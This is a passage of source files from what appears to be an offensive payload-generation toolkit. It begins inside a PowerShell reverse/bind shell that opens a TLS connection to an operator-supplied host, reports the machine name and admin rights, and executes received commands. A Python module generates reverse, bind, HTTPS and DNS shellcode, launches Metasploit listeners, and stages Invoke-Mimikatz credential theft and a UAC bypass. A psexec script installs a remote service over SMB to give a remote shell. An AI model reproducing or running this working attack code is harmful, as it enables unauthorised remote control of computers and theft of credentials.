'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' 4 | $CertPassword = 'password' 5 | $isbind = $%s 6 | 7 | Function Exec-Process ($execPath, $execArgs) { 8 | if ($execPath -eq 'powershell') { 9 | $execPath = (Get-Command powershell.exe).Definition 10 | } 11 | $pinfo = New-Object System.Diagnostics.ProcessStartInfo 12 | $pinfo.FileName = $execPath 13 | $pinfo.RedirectStandardError = $true 14 | $pinfo.RedirectStandardOutput = $true 15 | $pinfo.UseShellExecute = $false 16 | $pinfo.Arguments = $execArgs 17 | $p = New-Object System.Diagnostics.Process 18 | $p.StartInfo = $pinfo 19 | $p.Start() | Out-Null 20 | [pscustomobject]@{ 21 | stdout = $p.StandardOutput.ReadToEnd() 22 | stderr = $p.StandardError.ReadToEnd() 23 | exitcode = $p.ExitCode 24 | } 25 | $p.WaitForExit() 26 | } 27 | 28 | Function Connect-Server ($ip, $port) { 29 | $connectionTrys = 10 30 | if (!$isbind) { 31 | while($connectionTrys -gt 0) { 32 | try{ 33 | $Socket = New-Object System.Net.Sockets.TCPClient($ip,$port) 34 | if ($Socket.Connected) { 35 | break 36 | } 37 | } catch { 38 | $connectionTrys = $connectionTrys - 1 39 | Start-Sleep -s 1 40 | } 41 | } 42 | } else { 43 | $SSLcertfake = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2([System.Convert]::FromBase64String($Base64Cert), $CertPassword) 44 | $listener = [System.Net.Sockets.TcpListener][int]$port 45 | $listener.start() 46 | $Socket = $listener.AcceptTcpClient() 47 | } 48 | 49 | if ($Socket.Connected) { 50 | $sslSocket = New-Object System.Net.Security.SslStream $Socket.GetStream(), $false, ({$True} -as [Net.Security.RemoteCertificateValidationCallback]) 51 | if (!$isbind) 52 | { 53 | $sslSocket.AuthenticateAsClient($env:computername) 54 | } else { 55 | $sslSocket.AuthenticateAsServer($SSLcertfake, $false, [System.Security.Authentication.SslProtocols]::Tls, $false) 56 | } 57 | 58 | 59 | 60 | if ((New-Object Security.Principal.WindowsPrincipal ([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)) { 61 | $isAdmin = "True" 62 | } else { 63 | $isAdmin = "False" 64 | } 65 | $userandPriv = "`0" + "`0" + "[#check#]" + $env:computername + ":" + $isAdmin 66 | $sendUserandPriv = ([text.encoding]::ASCII).GetBytes($userandPriv, 0, $userandPriv.Length) 67 | $sslSocket.Write($sendUserandPriv) 68 | $Connected = $True 69 | } 70 | else { 71 | $Connected = $False 72 | } 73 | [pscustomobject]@{ 74 | Connected = $Connected 75 | Socket = $Socket 76 | Client = $sslSocket 77 | } 78 | } 79 | 80 | 81 | $Client = Connect-Server -ip '%s' -port '%s' 82 | 83 | if ($Client.Connected) { 84 | while ($True) { 85 | 86 | $error.clear() 87 | $serverData = $Client.Client.Read($byteAmount, 0, $byteAmount.Length) 88 | $asciiData = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($byteAmount, 0, $serverData) 89 | try { 90 | $type = ($asciiData | ConvertFrom-Json).type 91 | $b64Data = ($asciiData | ConvertFrom-Json).data 92 | $sendoutput = ($asciiData | ConvertFrom-Json).sendoutput 93 | $multiple = ($asciiData | ConvertFrom-Json).multiple 94 | $data = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b64Data)) 95 | $extra = ($asciiData | ConvertFrom-Json).extra 96 | } catch { 97 | continue 98 | } 99 | 100 | if ($serverData -lt 1) { 101 | exit 102 | } 103 | 104 | if ($type -eq 'exec') { 105 | $sendtoServer = (iex -c $data 2>&1 | Out-String) 106 | if ($error[0]) { 107 | $sendtoServer = ($error[0] | Out-String) 108 | } 109 | if ($sendtoServer.Length -lt 1) { 110 | $sendtoServer = "`0" 111 | } 112 | } 113 | 114 | #if ($type -eq 'uacbypass') { 115 | 116 | 117 | #} 118 | 119 | if ($type -eq 'script') { 120 | $process = Exec-Process -execPath 'powershell' -execArgs ('-c ' + $data) 121 | if ($process.exitcode -eq 0) { 122 | $sendtoServer = $process.stdout 123 | } 124 | else { 125 | $sendtoServer = $process.stderr 126 | } 127 | } 128 | 129 | if ($multiple -eq 'true') { 130 | $multiplescript += $data 131 | } 132 | 133 | if ($multiple -eq 'exec') { 134 | Start-Process -NoNewWindow -FilePath powershell.exe -ArgumentList ('-c ' + $multiplescript) 2>&1 | Out-String 135 | $multiplescript = "" 136 | } 137 | 138 | if ($sendoutput -eq 'true') { 139 | $asciiBytes = ([text.encoding]::ASCII).GetBytes(' ' + $sendtoServer, 0, $sendtoServer.Length) 140 | $Client.Client.Write($asciiBytes) 141 | $Client.Client.Flush() 142 | } 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /lib/preparepayload.py: -------------------------------------------------------------------------------- 1 | from main import * 2 | from payloadextras import * 3 | from startmetasploit import * 4 | from generatepayload import * 5 | 6 | def reverseIpAndPort(port): 7 | from menu import returnIP 8 | portnum = raw_input( 9 | '\n[*] Press Enter For Default Port(%s)\n[*] Port> '%(t.bold_green + port + t.normal)) 10 | if len(portnum) is 0: 11 | portnum = port 12 | IP = returnIP() 13 | ipaddr = raw_input( 14 | '\n[*] Press Enter To Get Local Ip Automatically(%s)\n[*] IP> '%(t.bold_green + IP + t.normal)) 15 | if len(ipaddr) == 0: 16 | ipaddr = IP 17 | if not IP: 18 | print t.bold_red + 'Error Getting Ip Automatically' + t.normal 19 | ipaddr = raw_input( 20 | '\n[*] Please Enter Your IP Manually(Automatic Disabled)\n[*] IP> ') 21 | return (portnum,ipaddr) 22 | 23 | def reversePayloadGeneration(payloadchoice,payloadname): 24 | portnum,ipaddr = reverseIpAndPort('4444') 25 | 26 | shellcode = payloadchoice(ipaddr, portnum) 27 | print t.bold_green + '[*] IP SET AS %s\n[*] PORT SET AS %s\n' % (ipaddr, portnum) + t.normal 28 | if payloadname == "Windows_Reverse_Shell": 29 | ez2read_shellcode, startRevMetasploit = askAndReturnModules(shellcode,'nclistener') 30 | else: 31 | ez2read_shellcode, startRevMetasploit = askAndReturnModules(shellcode,'reverse') 32 | if GeneratePayload(ez2read_shellcode,payloadname,shellcode): 33 | startRevMetasploit(portnum) 34 | return "clear" 35 | else: 36 | return "pass" 37 | 38 | def bindPayloadGeneration(payloadchoice,payloadname): 39 | bindport = raw_input( 40 | '\n[*] Press Enter For Default Bind Port(%s)\n[*] Port> '%(t.bold_green + '4444' + t.normal)) 41 | if len(bindport) is 0: 42 | bindport = 4444 43 | 44 | shellcode = payloadchoice('' ,bindport) 45 | bindip = raw_input( 46 | '\n[*] Target Bind IP Address ' + t.bold_red + '(REQUIRED FOR BIND PAYLOADS)' + t.normal +' \n[*] IP> ') 47 | print t.bold_green + '[*] BIND IP SET AS %s\n[*] PORT SET AS %s\n' % (bindip,bindport) + t.normal 48 | ez2read_shellcode, startBindMetasploit = askAndReturnModules(shellcode,'bind') 49 | if GeneratePayload(ez2read_shellcode,payloadname,shellcode): 50 | startBindMetasploit(bindport,bindip) 51 | return "clear" 52 | else: 53 | return "pass" 54 | 55 | def httpsPayloadGeneration(payloadchoice,payloadname): 56 | portnum,ipaddr = reverseIpAndPort('443') 57 | 58 | shellcode = payloadchoice(ipaddr, portnum) 59 | print t.bold_green + '[*] IP SET AS %s\n[*] PORT SET AS %s\n' % (ipaddr, portnum) + t.normal 60 | ez2read_shellcode, startHttpsMetasploit = askAndReturnModules(shellcode,'https') 61 | if GeneratePayload(ez2read_shellcode,payloadname,shellcode): 62 | startHttpsMetasploit(portnum) 63 | return "clear" 64 | else: 65 | return "pass" 66 | 67 | def dnsPayloadGeneration(payloadchoice,payloadname): 68 | portnum = raw_input( 69 | '\n[*] Press Enter For Default Port(%s)\n[*] Port> '%(t.bold_green + '4444' + t.normal)) 70 | if len(portnum) is 0: 71 | portnum = 4444 72 | 73 | while True: 74 | DNSaddr = raw_input( 75 | '\n[*] Please Enter DNS Hostname\n[*] DNS> ') 76 | if DNSaddr: 77 | break 78 | shellcode = payloadchoice(DNSaddr, portnum) 79 | print t.bold_green + '[*] DNS HOSTNAME SET AS %s\n[*] PORT SET AS %s\n' % (DNSaddr, portnum) + t.normal 80 | ez2read_shellcode, startDnsMetasploit = askAndReturnModules(shellcode,'dns') 81 | if GeneratePayload(ez2read_shellcode,payloadname,shellcode): 82 | startDnsMetasploit(portnum,DNSaddr) 83 | return "clear" 84 | else: 85 | return "pass" 86 | 87 | def customShellcodeGeneration(payloadchoice,payloadname): 88 | shellcode = payloadchoice() 89 | print '\n' + shellcode 90 | print t.bold_green + '[*] Custom Shellcode in use' + t.normal 91 | GeneratePayload(shellcode,payloadname,shellcode) 92 | 93 | def reversePowerShellWatchScreenGeneration(payloadchoice,payloadname): 94 | return "pass" 95 | 96 | def reversePowerShellAskCredsGeneration(payloadchoice,payloadname): 97 | print payloadchoice 98 | clientnumber = int(clientUpload(payloadchoice(), isExe=False,json='{"type":"script", "data":"%s", "sendoutput":"true", "multiple":"false"}')) 99 | from stager import returnServerList 100 | try: 101 | for server in returnServerList(): 102 | while True: 103 | if server.handlers[clientnumber].in_buffer: 104 | print server.handlers[clientnumber].in_buffer.pop() 105 | break 106 | else: 107 | time.sleep(0.1) 108 | except KeyboardInterrupt: 109 | pass 110 | return "pass" 111 | 112 | 113 | 114 | def reversePowerShellInvokeMimikatzGeneration(payloadchoice,payloadname): 115 | from menu import returnIP 116 | moduleport = FUNCTIONS().randomUnusedPort() 117 | FUNCTIONS().DoServe(returnIP(), "", "./externalmodules", port = moduleport, printIt = False) 118 | powershellScript = payloadchoice % (returnIP(), moduleport) 119 | clientnumber = int(clientUpload(payloadchoice(), isExe=False,json='{"type":"script", "data":"%s", "sendoutput":"true", "multiple":"false"}')) 120 | from stager import returnServerList 121 | try: 122 | for server in returnServerList(): 123 | while True: 124 | if server.handlers[clientnumber].in_buffer: 125 | print server.handlers[clientnumber].in_buffer.pop() 126 | break 127 | else: 128 | time.sleep(0.1) 129 | except KeyboardInterrupt: 130 | pass 131 | return "pass" 132 | 133 | def UACBypassGeneration(payloadchoice,payloadname): 134 | from menu import returnIP 135 | moduleport = FUNCTIONS().randomUnusedPort() 136 | FUNCTIONS().DoServe(returnIP(), "", "./externalmodules", port = moduleport, printIt = False) 137 | encoded = printListener(False, True) 138 | powershellScript = payloadchoice % (returnIP(), moduleport, encoded) 139 | clientnumber = int(clientUpload(payloadchoice(), isExe=False,json='{"type":"script", "data":"%s", "sendoutput":"false", "multiple":"false"}')) 140 | print t.bold_green + '\n[*] If UAC Bypass worked, expect a new admin session' + t.normal 141 | return "pass" 142 | -------------------------------------------------------------------------------- /lib/psexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2003-2016 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) 9 | # 10 | # Author: 11 | # beto (@agsolino) 12 | # 13 | # Reference for: 14 | # DCE/RPC and SMB. 15 | 16 | import sys 17 | import os 18 | import cmd 19 | import logging 20 | from threading import Thread, Lock 21 | import argparse 22 | import random 23 | import string 24 | import time 25 | 26 | try: 27 | from impacket.examples import logger 28 | except: 29 | from impacket import logger 30 | 31 | from impacket import version, smb 32 | from impacket.smbconnection import SMBConnection 33 | from impacket.dcerpc.v5 import transport 34 | from impacket.structure import Structure 35 | from impacket.examples import remcomsvc, serviceinstall 36 | 37 | 38 | class RemComMessage(Structure): 39 | structure = ( 40 | ('Command','4096s=""'), 41 | ('WorkingDir','260s=""'), 42 | ('Priority',' 0: 109 | try: 110 | s.waitNamedPipe(tid,pipe) 111 | pipeReady = True 112 | except: 113 | tries -= 1 114 | time.sleep(2) 115 | pass 116 | 117 | if tries == 0: 118 | logging.critical('Pipe not ready, aborting') 119 | raise 120 | 121 | fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) 122 | 123 | return fid 124 | 125 | def doStuff(self, rpctransport): 126 | 127 | dce = rpctransport.get_dce_rpc() 128 | try: 129 | dce.connect() 130 | except Exception, e: 131 | logging.critical(str(e)) 132 | sys.exit(1) 133 | 134 | global dialect 135 | dialect = rpctransport.get_smb_connection().getDialect() 136 | 137 | try: 138 | unInstalled = False 139 | s = rpctransport.get_smb_connection() 140 | 141 | # We don't wanna deal with timeouts from now on. 142 | s.setTimeout(100000) 143 | if self.__exeFile is None: 144 | installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc()) 145 | else: 146 | try: 147 | f = open(self.__exeFile) 148 | except Exception, e: 149 | logging.critical(str(e)) 150 | sys.exit(1) 151 | installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) 152 | 153 | installService.install() 154 | 155 | if self.__exeFile is not None: 156 | f.close() 157 | 158 | # Check if we need to copy a file for execution 159 | if self.__copyFile is not None: 160 | installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) 161 | # And we change the command to be executed to this filename 162 | self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command 163 | 164 | tid = s.connectTree('IPC$') 165 | fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f) 166 | 167 | packet = RemComMessage() 168 | pid = os.getpid() 169 | 170 | packet['Machine'] = ''.join([random.choice(string.letters) for _ in range(4)]) 171 | if self.__path is not None: 172 | packet['WorkingDir'] = self.__path 173 | packet['Command'] = self.__command 174 | packet['ProcessID'] = pid 175 | 176 | s.writeNamedPipe(tid, fid_main, str(packet)) 177 | 178 | # Here we'll store the command we type so we don't print it back ;) 179 | # ( I know.. globals are nasty :P ) 180 | global LastDataSent 181 | LastDataSent = '' 182 | 183 | # Create the pipes threads 184 | stdin_pipe = RemoteStdInPipe(rpctransport,'\%s%s%d' % (RemComSTDIN ,packet['Machine'],packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare() ) 185 | stdin_pipe.start() 186 | stdout_pipe = RemoteStdOutPipe(rpctransport,'\%s%s%d' % (RemComSTDOUT,packet['Machine'],packet['ProcessID']), smb.FILE_READ_DATA ) 187 | stdout_pipe.start() 188 | stderr_pipe = RemoteStdErrPipe(rpctransport,'\%s%s%d' % (RemComSTDERR,packet['Machine'],packet['ProcessID']), smb.FILE_READ_DATA ) 189 | stderr_pipe.start() 190 | 191 | # And we stay here till the end 192 | ans = s.readNamedPipe(tid,fid_main,8) 193 | 194 | if len(ans): 195 | retCode = RemComResponse(ans) 196 | logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) 197 | installService.uninstall() 198 | if self.__copyFile is not None: 199 | # We copied a file for execution, let's remove it 200 | s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) 201 | unInstalled = True 202 | sys.exit(retCode['ErrorCode']) 203 | 204 | except SystemExit: 205 | raise 206 | except: 207 | if unInstalled is False: 208 | print "[*] Sleeping While MeterPreter Migrates" 209 | time.sleep(10) 210 | installService.uninstall() 211 | if self.__copyFile is not None: 212 | s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) 213 | sys.stdout.flush() 214 | sys.exit(1) 215 | 216 | class Pipes(Thread): 217 | def __init__(self, transport, pipe, permissions, share=None): 218 | Thread.__init__(self) 219 | self.server = 0 220 | self.transport = transport 221 | self.credentials = transport.get_credentials() 222 | self.tid = 0 223 | self.fid = 0 224 | self.share = share 225 | self.port = transport.get_dport() 226 | self.pipe = pipe 227 | self.permissions = permissions 228 | self.daemon = True 229 | 230 | def connectPipe(self): 231 | try: 232 | lock.acquire() 233 | global dialect 234 | #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) 235 | self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = dialect) 236 | user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials 237 | if self.transport.get_kerberos() is True: 238 | self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS) 239 | else: 240 | self.server.login(user, passwd, domain, lm, nt) 241 | lock.release() 242 | self.tid = self.server.connectTree('IPC$') 243 | 244 | self.server.waitNamedPipe(self.tid, self.pipe) 245 | self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) 246 | self.server.setTimeout(1000000) 247 | except: 248 | logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) 249 | 250 | 251 | class RemoteStdOutPipe(Pipes): 252 | def __init__(self, transport, pipe, permisssions): 253 | Pipes.__init__(self, transport, pipe, permisssions) 254 | 255 | def run(self): 256 | self.connectPipe() 257 | while True: 258 | try: 259 | ans = self.server.readFile(self.tid,self.fid, 0, 1024) 260 | except: 261 | pass 262 | else: 263 | try: 264 | global LastDataSent 265 | if ans != LastDataSent: 266 | sys.stdout.write(ans.decode('cp437')) 267 | sys.stdout.flush() 268 | else: 269 | # Don't echo what I sent, and clear it up 270 | LastDataSent = '' 271 | # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, 272 | # it will give false positives tho.. we should find a better way to handle this. 273 | if LastDataSent > 10: 274 | LastDataSent = '' 275 | except: 276 | pass 277 | 278 | class RemoteStdErrPipe(Pipes): 279 | def __init__(self, transport, pipe, permisssions): 280 | Pipes.__init__(self, transport, pipe, permisssions) 281 | 282 | def run(self): 283 | self.connectPipe() 284 | while True: 285 | try: 286 | ans = self.server.readFile(self.tid,self.fid, 0, 1024) 287 | except: 288 | pass 289 | else: 290 | try: 291 | sys.stderr.write(str(ans)) 292 | sys.stderr.flush() 293 | except: 294 | pass 295 | 296 | class RemoteShell(cmd.Cmd): 297 | def __init__(self, server, port, credentials, tid, fid, share, transport): 298 | cmd.Cmd.__init__(self, False) 299 | self.prompt = '\x08' 300 | self.server = server 301 | self.transferClient = None 302 | self.tid = tid 303 | self.fid = fid 304 | self.credentials = credentials 305 | self.share = share 306 | self.port = port 307 | self.transport = transport 308 | self.intro = '[!] Press help for extra shell commands' 309 | 310 | def connect_transferClient(self): 311 | #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) 312 | self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = dialect) 313 | user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials 314 | if self.transport.get_kerberos() is True: 315 | self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS) 316 | else: 317 | self.transferClient.login(user, passwd, domain, lm, nt) 318 | 319 | def do_help(self, line): 320 | print """ 321 | lcd {path} - changes the current local directory to {path} 322 | exit - terminates the server process (and this session) 323 | put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) 324 | get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir 325 | ! {cmd} - executes a local shell cmd 326 | """ % (self.share, self.share) 327 | self.send_data('\r\n', False) 328 | 329 | def do_shell(self, s): 330 | os.system(s) 331 | self.send_data('\r\n') 332 | 333 | def do_get(self, src_path): 334 | try: 335 | if self.transferClient is None: 336 | self.connect_transferClient() 337 | 338 | import ntpath 339 | filename = ntpath.basename(src_path) 340 | fh = open(filename,'wb') 341 | logging.info("Downloading %s\%s" % (self.share, src_path)) 342 | self.transferClient.getFile(self.share, src_path, fh.write) 343 | fh.close() 344 | except Exception, e: 345 | logging.critical(str(e)) 346 | pass 347 | 348 | self.send_data('\r\n') 349 | 350 | def do_put(self, s): 351 | try: 352 | if self.transferClient is None: 353 | self.connect_transferClient() 354 | params = s.split(' ') 355 | if len(params) > 1: 356 | src_path = params[0] 357 | dst_path = params[1] 358 | elif len(params) == 1: 359 | src_path = params[0] 360 | dst_path = '/' 361 | 362 | src_file = os.path.basename(src_path) 363 | fh = open(src_path, 'rb') 364 | f = dst_path + '/' + src_file 365 | pathname = string.replace(f,'/','\\') 366 | logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) 367 | self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) 368 | fh.close() 369 | except Exception, e: 370 | logging.error(str(e)) 371 | pass 372 | 373 | self.send_data('\r\n') 374 | 375 | def do_lcd(self, s): 376 | if s == '': 377 | print os.getcwd() 378 | else: 379 | os.chdir(s) 380 | self.send_data('\r\n') 381 | 382 | def emptyline(self): 383 | self.send_data('\r\n') 384 | return 385 | 386 | def default(self, line): 387 | self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') 388 | 389 | def send_data(self, data, hideOutput = True): 390 | if hideOutput is True: 391 | global LastDataSent 392 | LastDataSent = data 393 | else: 394 | LastDataSent = '' 395 | self.server.writeFile(self.tid, self.fid, data) 396 | 397 | class RemoteStdInPipe(Pipes): 398 | def __init__(self, transport, pipe, permisssions, share=None): 399 | self.shell = None 400 | Pipes.__init__(self, transport, pipe, permisssions, share) 401 | 402 | def run(self): 403 | self.connectPipe() 404 | self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport) 405 | self.shell.cmdloop() 406 | 407 | # Process command-line arguments. 408 | if __name__ == '__main__': 409 | # Init the example's logger theme 410 | #logger.init() 411 | print version.BANNER 412 | 413 | parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.") 414 | 415 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 416 | parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)') 417 | parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, arguments are passed in the command option') 418 | parser.add_argument('-path', action='store', help='path of the command to execute') 419 | parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)") 420 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 421 | 422 | group = parser.add_argument_group('authentication') 423 | 424 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 425 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 426 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') 427 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') 428 | 429 | if len(sys.argv)==1: 430 | parser.print_help() 431 | sys.exit(1) 432 | 433 | options = parser.parse_args() 434 | 435 | if options.debug is True: 436 | logging.getLogger().setLevel(logging.DEBUG) 437 | else: 438 | logging.getLogger().setLevel(logging.INFO) 439 | 440 | import re 441 | domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') 442 | 443 | #In case the password contains '@' 444 | if '@' in address: 445 | password = password + '@' + address.rpartition('@')[0] 446 | address = address.rpartition('@')[2] 447 | 448 | if domain is None: 449 | domain = '' 450 | 451 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 452 | from getpass import getpass 453 | password = getpass("Password:") 454 | 455 | if options.aesKey is not None: 456 | options.k = True 457 | 458 | command = ' '.join(options.command) 459 | if command == ' ': 460 | command = 'cmd.exe' 461 | 462 | executer = PSEXEC(command, options.path, options.file, options.c, None, username, password, domain, options.hashes, options.aesKey, options.k) 463 | executer.run(address) 464 | -------------------------------------------------------------------------------- /lib/sandbox/powershell/check_all_DLL_names.ps1: 